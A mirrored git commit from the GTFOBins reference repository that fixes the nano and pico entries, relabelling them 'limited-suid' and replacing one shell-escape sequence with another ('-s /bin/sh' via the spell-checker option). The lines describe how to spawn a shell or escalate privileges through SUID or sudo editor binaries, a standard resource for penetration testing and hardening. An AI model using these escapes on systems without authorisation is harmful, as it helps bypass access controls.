mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Fix wrong nano and pico SUID
This commit is contained in:
parent
01d4de40d2
commit
33fb39a183
@ -17,12 +17,12 @@ functions:
|
||||
^O
|
||||
file-read:
|
||||
- code: nano file_to_read
|
||||
suid:
|
||||
limited-suid:
|
||||
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||
code: |
|
||||
./nano
|
||||
^R^X
|
||||
reset; sh 1>&0 2>&0
|
||||
./nano -s /bin/sh
|
||||
/bin/sh
|
||||
^T
|
||||
sudo:
|
||||
- code: |
|
||||
sudo nano
|
||||
|
@ -17,12 +17,12 @@ functions:
|
||||
^O
|
||||
file-read:
|
||||
- code: pico file_to_read
|
||||
suid:
|
||||
limited-suid:
|
||||
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||
code: |
|
||||
./pico
|
||||
^R^X
|
||||
reset; sh 1>&0 2>&0
|
||||
./pico -s /bin/sh
|
||||
/bin/sh
|
||||
^T
|
||||
sudo:
|
||||
- code: |
|
||||
sudo pico
|
||||
|
Loading…
Reference in New Issue
Block a user